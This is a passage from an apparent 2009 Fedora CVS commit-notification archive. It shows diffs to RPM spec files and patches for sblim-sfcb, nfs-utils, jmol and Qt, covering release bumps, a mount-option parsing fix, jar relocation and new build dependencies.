RCS file: /cvs/pkgs/rpms/sblim-sfcb/F-12/sblim-sfcb.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sblim-sfcb.spec	30 Sep 2009 15:05:54 -0000	1.2
+++ sblim-sfcb.spec	2 Oct 2009 15:31:31 -0000	1.3
@@ -8,7 +8,7 @@ Name: sblim-sfcb
 Summary: Small Footprint CIM Broker
 URL: http://www.sblim.org
 Version: 1.3.4
-Release: 9%{dist}
+Release: 10%{dist}
 Group: Applications/System
 License: EPL
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}
@@ -111,6 +111,8 @@ fi
 #%doc COPYING README
 
 %changelog
+* Fri Oct  2 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 1.3.4-10
+- bumped up the release to make a new cvs tag
 * Wed Sep 30 2009 <praveen_paladugu at dell.com>- 1.3.4-9
 - LocalInterfaceInvokeMethodFix: CHARS and string were handled the same.
 -  They are differentiated in this patch.



From steved at fedoraproject.org  Fri Oct  2 15:34:49 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Fri,  2 Oct 2009 15:34:49 +0000 (UTC)
Subject: rpms/nfs-utils/F-12 nfs-utils-1.2.0-mntconf-vers.patch, 1.1,
	1.2 nfs-utils.spec, 1.244, 1.245
Message-ID: <20091002153449.AFB9511C00C1@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14234

Modified Files:
	nfs-utils-1.2.0-mntconf-vers.patch nfs-utils.spec 
Log Message:
- Fixed a whole where '-o v4' was not overriding the
  version in the conf file.


nfs-utils-1.2.0-mntconf-vers.patch:
 configfile.c |   20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

Index: nfs-utils-1.2.0-mntconf-vers.patch
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/F-12/nfs-utils-1.2.0-mntconf-vers.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- nfs-utils-1.2.0-mntconf-vers.patch	30 Sep 2009 19:18:22 -0000	1.1
+++ nfs-utils-1.2.0-mntconf-vers.patch	2 Oct 2009 15:34:49 -0000	1.2
@@ -1,7 +1,7 @@
 diff -up nfs-utils-1.2.0/utils/mount/configfile.c.orig nfs-utils-1.2.0/utils/mount/configfile.c
---- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-09-30 11:38:53.745992000 -0400
-+++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-09-30 13:49:38.480625000 -0400
-@@ -185,6 +185,19 @@ void free_all(void)
+--- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-10-02 11:10:01.000000000 -0400
++++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-10-02 11:14:30.000000000 -0400
+@@ -185,6 +185,20 @@ void free_all(void)
  		free(entry);
  	}
  }
@@ -10,10 +10,11 @@ diff -up nfs-utils-1.2.0/utils/mount/con
 +{
 +	int i;
 +
-+	if (strcasecmp(field, "nfsvers") == 0 || 
-+				strcasecmp(field, "vers") == 0) {
-+		for (i=0; versions[i]; i++)
-+			if (strncasecmp(mopt, versions[i], strlen(versions[i])) == 0)
++	if (strncmp("mountvers", field, strlen("mountvers") != 0 &&
++			(strcasecmp(field, "nfsvers") == 0 || 
++				strcasecmp(field, "vers") == 0))) {
++		for (i=0; versions[i]; i++) 
++			if (strcasestr(mopt, versions[i]) != NULL)
 +				return 1;
 +	}
 +	return 0;
@@ -21,7 +22,7 @@ diff -up nfs-utils-1.2.0/utils/mount/con
  /*
   * Parse the given section of the configuration 
   * file to if there are any mount options set.
-@@ -207,6 +220,12 @@ conf_parse_mntopts(char *section, char *
+@@ -207,6 +221,12 @@ conf_parse_mntopts(char *section, char *
  		snprintf(buf, BUFSIZ, "%s=", node->field);
  		if (opts && strcasestr(opts, buf) != NULL)
  			continue;


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/F-12/nfs-utils.spec,v
retrieving revision 1.244
retrieving revision 1.245
diff -u -p -r1.244 -r1.245
--- nfs-utils.spec	30 Sep 2009 19:18:22 -0000	1.244
+++ nfs-utils.spec	2 Oct 2009 15:34:49 -0000	1.245
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 14%{?dist}
+Release: 15%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -268,6 +268,10 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Fri Oct  2 2009 Steve Dickson <steved at redhat.com> 1.2.0-15
+- Fixed a whole where '-o v4' was not overriding the
+  version in the conf file.
+
 * Wed Sep 30 2009 Steve Dickson <steved at redhat.com> 1.2.0-14
 - Change the nfsmount.conf file to define v3 as the default 
   protocol version.



From steved at fedoraproject.org  Fri Oct  2 15:37:18 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Fri,  2 Oct 2009 15:37:18 +0000 (UTC)
Subject: rpms/nfs-utils/F-12 nfs-utils.spec,1.245,1.246
Message-ID: <20091002153718.745B311C00C1@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14874

Modified Files:
	nfs-utils.spec 
Log Message:
Bumped up Release so as not to collide with the devel branch



Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/F-12/nfs-utils.spec,v
retrieving revision 1.245
retrieving revision 1.246
diff -u -p -r1.245 -r1.246
--- nfs-utils.spec	2 Oct 2009 15:34:49 -0000	1.245
+++ nfs-utils.spec	2 Oct 2009 15:37:17 -0000	1.246
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -268,7 +268,7 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
-* Fri Oct  2 2009 Steve Dickson <steved at redhat.com> 1.2.0-15
+* Fri Oct  2 2009 Steve Dickson <steved at redhat.com> 1.2.0-16
 - Fixed a whole where '-o v4' was not overriding the
   version in the conf file.
 



From jussilehtola at fedoraproject.org  Fri Oct  2 15:51:17 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 15:51:17 +0000 (UTC)
Subject: rpms/jmol/devel jmol-11.8-jarlocation.patch, NONE, 1.1 .cvsignore,
	1.6, 1.7 jmol.spec, 1.13, 1.14 sources, 1.6, 1.7
Message-ID: <20091002155117.BAD4F11C043C@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20341

Modified Files:
	.cvsignore jmol.spec sources 
Added Files:
	jmol-11.8-jarlocation.patch 
Log Message:
Update to 11581svn, use bz2 source.

jmol-11.8-jarlocation.patch:
 jmol |   11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

--- NEW FILE jmol-11.8-jarlocation.patch ---
diff -up Jmol/jmol.orig Jmol/jmol
--- Jmol/jmol.orig	2006-08-28 15:58:20.000000000 +0300
+++ Jmol/jmol	2009-09-27 11:55:14.126801748 +0300
@@ -7,14 +7,5 @@ while [ `echo $1 | egrep '^-D|^-m' | wc 
 	shift
 done
 
-if [ -f ./Jmol.jar ] ; then
-  jarpath=./Jmol.jar
-elif [ -f $JMOL_HOME/Jmol.jar ] ; then
-  jarpath=$JMOL_HOME/Jmol.jar
-elif [ -f /usr/share/jmol/Jmol.jar ] ; then
-  jarpath=/usr/share/jmol/Jmol.jar
-else
-  echo Jmol.jar not found
-  exit
-fi
+jarpath=/usr/share/java/Jmol.jar
 $command -Xmx512m -jar $jarpath $@


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	26 Sep 2009 23:48:44 -0000	1.6
+++ .cvsignore	2 Oct 2009 15:51:15 -0000	1.7
@@ -1 +1 @@
-jmol-11.8.11564.tar.xz
+jmol-11.8.11581svn.tar.bz2


Index: jmol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/devel/jmol.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- jmol.spec	27 Sep 2009 08:53:51 -0000	1.13
+++ jmol.spec	2 Oct 2009 15:51:15 -0000	1.14
@@ -1,4 +1,4 @@
-%define svnrel 11564
+%define svnrel 11581
 
 Name:		jmol
 Version:	11.8
@@ -13,14 +13,15 @@ BuildArch:	noarch
 # so we use SVN instead.
 
 # The source package has been created from SVN sources:
-# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_6/Jmol
-# tar cvf jmol-%{name}-%{version}.%{svnrel}.tar
-# xz %{name}-%{version}.%{svnrel}.tar
-Source0:	%{name}-%{version}.%{svnrel}.tar.xz
+# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_8/Jmol
+# tar jcf jmol-%{version}.%{svnrel}svn.tar.bz2 Jmol
+Source0:	%{name}-%{version}.%{svnrel}svn.tar.bz2
 # Image available at "http://wiki.jmol.org:81/index.php/Image:Jmol_icon_128.png"
 Source1:	Jmol_icon_128.png
 # Patch to get Jmol to build in Fedora
 Patch0:		jmol-11.8-fedorabuild.patch
+# Patch to change jar file location to %{_javadir}
+Patch1:		jmol-11.8-jarlocation.patch 
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -32,10 +33,6 @@ BuildRequires:	jpackage-utils
 # For javax.vecmath
 BuildRequires:	vecmath
 
-%if 0%{?rhel} == 5
-BuildRequires:	xz
-%endif
-
 Requires:	java >= 1:1.6.0
 Requires:	jpackage-utils
 
@@ -48,6 +45,7 @@ and researchers in chemistry and biochem
 Summary:	Javadocs for %{name}
 Group:		Documentation
 Requires:	%{name} = %{version}-%{release}
+Requires:       jpackage-utils
 
 %description javadoc
 This package contains the API documentation for %{name}.
@@ -65,6 +63,7 @@ The documentation for %{name}.
 %prep
 %setup -q -n Jmol
 %patch0 -p1 -b .fedorabuild
+%patch1 -p1 -b .jarlocation
 find -name '*.class' -exec rm -f '{}' \;
 find -name '*.jar' -exec rm -f '{}' \;
 
@@ -82,7 +81,7 @@ Exec=jmol
 Icon=jmol
 Terminal=false
 Type=Application
-Categories=Education;Science;
+Categories=Education;Science;Chemistry;Physics;DataVisualization;
 EOF
 
 %build
@@ -123,6 +122,10 @@ rm -rf %{buildroot}
 %doc build/doc/*
 
 %changelog
+* Fri Oct 02 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11581
+- Switch back to tar.bz2 source since xz doesn't work in EL-5.
+- Update to svn revision 11581.
+
 * Tue Sep 22 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11564
 - Update to 11.8 series, svn revision 11564.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	26 Sep 2009 23:48:45 -0000	1.6
+++ sources	2 Oct 2009 15:51:15 -0000	1.7
@@ -1 +1 @@
-3f772a8fe552f9bcedca0d071be1e496  jmol-11.8.11564.tar.xz
+af9c8b8dae12f783ec930ac8c8dd86ee  jmol-11.8.11581svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  2 16:15:23 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 16:15:23 +0000 (UTC)
Subject: rpms/jmol/devel jmol.spec,1.14,1.15
Message-ID: <20091002161523.DDD1E11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27409

Modified Files:
	jmol.spec 
Log Message:
Added forgotten BRs.


Index: jmol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/devel/jmol.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- jmol.spec	2 Oct 2009 15:51:15 -0000	1.14
+++ jmol.spec	2 Oct 2009 16:15:23 -0000	1.15
@@ -28,6 +28,8 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 BuildRequires:	ant, ant-contrib
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext-devel
+BuildRequires:	itext
+BuildRequires:	jakarta-commons-cli
 BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
 # For javax.vecmath



From rdieter at fedoraproject.org  Fri Oct  2 16:21:51 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 16:21:51 +0000 (UTC)
Subject: rpms/qt/devel
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch, 1.1, 1.2
Message-ID: <20091002162151.DB8E611C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30319

Modified Files:
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
Log Message:
fix botched patch


qt-x11-opensource-src-4.5.3-system_ca_certificates.patch:
 qsslsocket_openssl.cpp |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

Index: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt-x11-opensource-src-4.5.3-system_ca_certificates.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qt-x11-opensource-src-4.5.3-system_ca_certificates.patch	1 Oct 2009 14:28:58 -0000	1.1
+++ qt-x11-opensource-src-4.5.3-system_ca_certificates.patch	2 Oct 2009 16:21:51 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp
 --- qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates	2009-09-29 06:01:38.000000000 -0500
-+++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-01 08:51:30.550913756 -0500
++++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-02 11:20:10.674662746 -0500
 @@ -482,8 +482,20 @@ void QSslSocketPrivate::resetDefaultCiph
  
  QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
@@ -19,7 +19,7 @@ diff -up qt-x11-opensource-src-4.5.3/src
 +
      // Qt provides a default bundle of certificates
 -    QFile caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
-+    caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
++    caBundle.setFileName(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
      if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
          return QSslCertificate::fromDevice(&caBundle);
  



From jussilehtola at fedoraproject.org  Fri Oct  2 16:26:41 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 16:26:41 +0000 (UTC)
Subject: rpms/jmol/EL-5 jmol-11.8-fedorabuild.patch, NONE,
	1.1 jmol-11.8-jarlocation.patch, NONE, 1.1 jmol.spec, 1.8,
	1.9 sources, 1.4, 1.5
Message-ID: <20091002162641.2B92D11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31516/EL-5

Modified Files:
	jmol.spec sources 
Added Files:
	jmol-11.8-fedorabuild.patch jmol-11.8-jarlocation.patch 
Log Message:
Update to 11.8 series.

jmol-11.8-fedorabuild.patch:
 build.xml |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE jmol-11.8-fedorabuild.patch ---
diff -up Jmol/build.xml.fedorabuild Jmol/build.xml
--- Jmol/build.xml.fedorabuild	2009-09-17 05:37:36.000000000 +0300
+++ Jmol/build.xml	2009-09-23 17:25:56.101688225 +0300
@@ -20,7 +20,7 @@
   <property name="jvxl_version" value="0.1" />
 
   <property name="tests.source.dir" value="source-tests" />
-  <property name="lib.dir" value="jars" />
+  <property name="lib.dir" value="/usr/share/java" />
   <property name="plugin.dir" value="plugin-jars" />
   <property name="appjars.dir" value="build/appjars" />
   <property name="classes.dir" value="build/classes" />
@@ -34,9 +34,9 @@
   <property name="jmol.build.dir" value="build" />
   <property name="docbook-xsl" value="docbook-xsl-1.74.0" />
   <property name="docbook-xml" value="docbook-xml-4.4" />
-  <property name="vecmath.jar" value="vecmath1.2-1.14.jar" />
-  <property name="itext.jar" value="itext-1.4.5.jar" />
-  <property name="commons-cli.jar" value="commons-cli-1.0.jar" />
+  <property name="vecmath.jar" value="vecmath.jar" />
+  <property name="itext.jar" value="itext.jar" />
+  <property name="commons-cli.jar" value="commons-cli.jar" />
 
   <!-- you can set this by defining it in ~/.jmol.build.properties -->
   <property name="keystore.name" value="Must be set by user." />

jmol-11.8-jarlocation.patch:
 jmol |   11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

--- NEW FILE jmol-11.8-jarlocation.patch ---
diff -up Jmol/jmol.orig Jmol/jmol
--- Jmol/jmol.orig	2006-08-28 15:58:20.000000000 +0300
+++ Jmol/jmol	2009-09-27 11:55:14.126801748 +0300
@@ -7,14 +7,5 @@ while [ `echo $1 | egrep '^-D|^-m' | wc 
 	shift
 done
 
-if [ -f ./Jmol.jar ] ; then
-  jarpath=./Jmol.jar
-elif [ -f $JMOL_HOME/Jmol.jar ] ; then
-  jarpath=$JMOL_HOME/Jmol.jar
-elif [ -f /usr/share/jmol/Jmol.jar ] ; then
-  jarpath=/usr/share/jmol/Jmol.jar
-else
-  echo Jmol.jar not found
-  exit
-fi
+jarpath=/usr/share/java/Jmol.jar
 $command -Xmx512m -jar $jarpath $@


Index: jmol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/EL-5/jmol.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- jmol.spec	16 Jul 2009 20:59:50 -0000	1.8
+++ jmol.spec	2 Oct 2009 16:26:40 -0000	1.9
@@ -1,8 +1,8 @@
-%define svnrel 11223
+%define svnrel 11581
 
 Name:		jmol
-Version:	11.6
-Release:	11.%{svnrel}svn%{?dist}
+Version:	11.8
+Release:	1.%{svnrel}svn%{?dist}
 Summary:	An open-source Java viewer for chemical structures in 3D
 Group:		Applications/Engineering
 License:	LGPLv2+
@@ -13,20 +13,27 @@ BuildArch:	noarch
 # so we use SVN instead.
 
 # The source package has been created from SVN sources:
-# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_6/Jmol
-Source0:	%{name}-%{version}.%{svnrel}.tar.bz2
+# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_8/Jmol
+# tar jcf jmol-%{version}.%{svnrel}svn.tar.bz2 Jmol
+Source0:	%{name}-%{version}.%{svnrel}svn.tar.bz2
 # Image available at "http://wiki.jmol.org:81/index.php/Image:Jmol_icon_128.png"
-Source2:	Jmol_icon_128.png
-# Patch disabling jar signing
-Patch0:		jmol.patch
+Source1:	Jmol_icon_128.png
+# Patch to get Jmol to build in Fedora
+Patch0:		jmol-11.8-fedorabuild.patch
+# Patch to change jar file location to %{_javadir}
+Patch1:		jmol-11.8-jarlocation.patch 
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	ant
+BuildRequires:	ant, ant-contrib
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext-devel
+BuildRequires:	itext
+BuildRequires:	jakarta-commons-cli
 BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
+# For javax.vecmath
+BuildRequires:	vecmath
 
 Requires:	java >= 1:1.6.0
 Requires:	jpackage-utils
@@ -40,6 +47,7 @@ and researchers in chemistry and biochem
 Summary:	Javadocs for %{name}
 Group:		Documentation
 Requires:	%{name} = %{version}-%{release}
+Requires:       jpackage-utils
 
 %description javadoc
 This package contains the API documentation for %{name}.
@@ -56,8 +64,10 @@ The documentation for %{name}.
 
 %prep
 %setup -q -n Jmol
-%patch0 -p1
-find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;
+%patch0 -p1 -b .fedorabuild
+%patch1 -p1 -b .jarlocation
+find -name '*.class' -exec rm -f '{}' \;
+find -name '*.jar' -exec rm -f '{}' \;
 
 # Remove executable permissions from documentation
 chmod 644 README.txt
@@ -73,7 +83,7 @@ Exec=jmol
 Icon=jmol
 Terminal=false
 Type=Application
-Categories=Education;Science;
+Categories=Education;Science;Chemistry;Physics;DataVisualization;
 EOF
 
 %build
@@ -82,9 +92,9 @@ ant doc main
 %install
 rm -rf %{buildroot}
 install -D -p -m 755 jmol %{buildroot}%{_bindir}/%{name}
-install -D -p -m 644 build/JmolUnsigned.jar %{buildroot}%{_datadir}/%{name}/Jmol.jar
-install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_datadir}/%{name}/JmolApplet.jar
-install -D -p -m 644 %{SOURCE2} %{buildroot}%{_datadir}/pixmaps/%{name}.png
+install -D -p -m 644 build/Jmol.jar %{buildroot}%{_javadir}/Jmol.jar
+install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_javadir}/JmolApplet.jar
+install -D -p -m 644 %{SOURCE1} %{buildroot}%{_datadir}/pixmaps/%{name}.png
 
 # Install desktop file
 desktop-file-install --dir=${RPM_BUILD_ROOT}%{_datadir}/applications --vendor=fedora jmol.desktop
@@ -100,7 +110,8 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc build/doc/* README.txt COPYRIGHT.txt LICENSE.txt
 %{_bindir}/%{name}
-%{_datadir}/%{name}/
+%{_javadir}/Jmol.jar
+%{_javadir}/JmolApplet.jar
 %{_datadir}/pixmaps/%{name}.png
 %{_datadir}/applications/fedora-%{name}.desktop
 
@@ -113,6 +124,16 @@ rm -rf %{buildroot}
 %doc build/doc/*
 
 %changelog
+* Fri Oct 02 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11581
+- Switch back to tar.bz2 source since xz doesn't work in EL-5.
+- Update to svn revision 11581.
+
+* Tue Sep 22 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11564
+- Update to 11.8 series, svn revision 11564.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 11.6-12.11223svn
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.6-11.11223svn
 - Include desktop file in the spec.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Jul 2009 14:27:47 -0000	1.4
+++ sources	2 Oct 2009 16:26:40 -0000	1.5
@@ -1 +1 @@
-6cdf1f77df024e9a0c07a6df6643002e  jmol-11.6.11223.tar.bz2
+af9c8b8dae12f783ec930ac8c8dd86ee  jmol-11.8.11581svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  2 16:26:41 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 16:26:41 +0000 (UTC)
Subject: rpms/jmol/F-10 jmol-11.8-fedorabuild.patch, NONE,
	1.1 jmol-11.8-jarlocation.patch, NONE, 1.1 jmol.spec, 1.7,
	1.8 sources, 1.4, 1.5
Message-ID: <20091002162641.6F84611C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31516/F-10

Modified Files:
	jmol.spec sources 
Added Files:
	jmol-11.8-fedorabuild.patch jmol-11.8-jarlocation.patch 
Log Message:
Update to 11.8 series.

jmol-11.8-fedorabuild.patch:
 build.xml |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE jmol-11.8-fedorabuild.patch ---
diff -up Jmol/build.xml.fedorabuild Jmol/build.xml
--- Jmol/build.xml.fedorabuild	2009-09-17 05:37:36.000000000 +0300
+++ Jmol/build.xml	2009-09-23 17:25:56.101688225 +0300
@@ -20,7 +20,7 @@
   <property name="jvxl_version" value="0.1" />
 
   <property name="tests.source.dir" value="source-tests" />
-  <property name="lib.dir" value="jars" />
+  <property name="lib.dir" value="/usr/share/java" />
   <property name="plugin.dir" value="plugin-jars" />
   <property name="appjars.dir" value="build/appjars" />
   <property name="classes.dir" value="build/classes" />
@@ -34,9 +34,9 @@
   <property name="jmol.build.dir" value="build" />
   <property name="docbook-xsl" value="docbook-xsl-1.74.0" />
   <property name="docbook-xml" value="docbook-xml-4.4" />
-  <property name="vecmath.jar" value="vecmath1.2-1.14.jar" />
-  <property name="itext.jar" value="itext-1.4.5.jar" />
-  <property name="commons-cli.jar" value="commons-cli-1.0.jar" />
+  <property name="vecmath.jar" value="vecmath.jar" />
+  <property name="itext.jar" value="itext.jar" />
+  <property name="commons-cli.jar" value="commons-cli.jar" />
 
   <!-- you can set this by defining it in ~/.jmol.build.properties -->
   <property name="keystore.name" value="Must be set by user." />

jmol-11.8-jarlocation.patch:
 jmol |   11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

--- NEW FILE jmol-11.8-jarlocation.patch ---
diff -up Jmol/jmol.orig Jmol/jmol
--- Jmol/jmol.orig	2006-08-28 15:58:20.000000000 +0300
+++ Jmol/jmol	2009-09-27 11:55:14.126801748 +0300
@@ -7,14 +7,5 @@ while [ `echo $1 | egrep '^-D|^-m' | wc 
 	shift
 done
 
-if [ -f ./Jmol.jar ] ; then
-  jarpath=./Jmol.jar
-elif [ -f $JMOL_HOME/Jmol.jar ] ; then
-  jarpath=$JMOL_HOME/Jmol.jar
-elif [ -f /usr/share/jmol/Jmol.jar ] ; then
-  jarpath=/usr/share/jmol/Jmol.jar
-else
-  echo Jmol.jar not found
-  exit
-fi
+jarpath=/usr/share/java/Jmol.jar
 $command -Xmx512m -jar $jarpath $@


Index: jmol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/F-10/jmol.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- jmol.spec	16 Jul 2009 21:02:18 -0000	1.7
+++ jmol.spec	2 Oct 2009 16:26:41 -0000	1.8
@@ -1,8 +1,8 @@
-%define svnrel 11223
+%define svnrel 11581
 
 Name:		jmol
-Version:	11.6
-Release:	11.%{svnrel}svn%{?dist}
+Version:	11.8
+Release:	1.%{svnrel}svn%{?dist}
 Summary:	An open-source Java viewer for chemical structures in 3D
 Group:		Applications/Engineering
 License:	LGPLv2+
@@ -13,20 +13,27 @@ BuildArch:	noarch
 # so we use SVN instead.
 
 # The source package has been created from SVN sources:
-# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_6/Jmol
-Source0:	%{name}-%{version}.%{svnrel}.tar.bz2
+# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_8/Jmol
+# tar jcf jmol-%{version}.%{svnrel}svn.tar.bz2 Jmol
+Source0:	%{name}-%{version}.%{svnrel}svn.tar.bz2
 # Image available at "http://wiki.jmol.org:81/index.php/Image:Jmol_icon_128.png"
-Source2:	Jmol_icon_128.png
-# Patch disabling jar signing
-Patch0:		jmol.patch
+Source1:	Jmol_icon_128.png
+# Patch to get Jmol to build in Fedora
+Patch0:		jmol-11.8-fedorabuild.patch
+# Patch to change jar file location to %{_javadir}
+Patch1:		jmol-11.8-jarlocation.patch 
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	ant
+BuildRequires:	ant, ant-contrib
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext-devel
+BuildRequires:	itext
+BuildRequires:	jakarta-commons-cli
 BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
+# For javax.vecmath
+BuildRequires:	vecmath
 
 Requires:	java >= 1:1.6.0
 Requires:	jpackage-utils
@@ -40,6 +47,7 @@ and researchers in chemistry and biochem
 Summary:	Javadocs for %{name}
 Group:		Documentation
 Requires:	%{name} = %{version}-%{release}
+Requires:       jpackage-utils
 
 %description javadoc
 This package contains the API documentation for %{name}.
@@ -56,8 +64,10 @@ The documentation for %{name}.
 
 %prep
 %setup -q -n Jmol
-%patch0 -p1
-find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;
+%patch0 -p1 -b .fedorabuild
+%patch1 -p1 -b .jarlocation
+find -name '*.class' -exec rm -f '{}' \;
+find -name '*.jar' -exec rm -f '{}' \;
 
 # Remove executable permissions from documentation
 chmod 644 README.txt
@@ -73,7 +83,7 @@ Exec=jmol
 Icon=jmol
 Terminal=false
 Type=Application
-Categories=Education;Science;
+Categories=Education;Science;Chemistry;Physics;DataVisualization;
 EOF
 
 %build
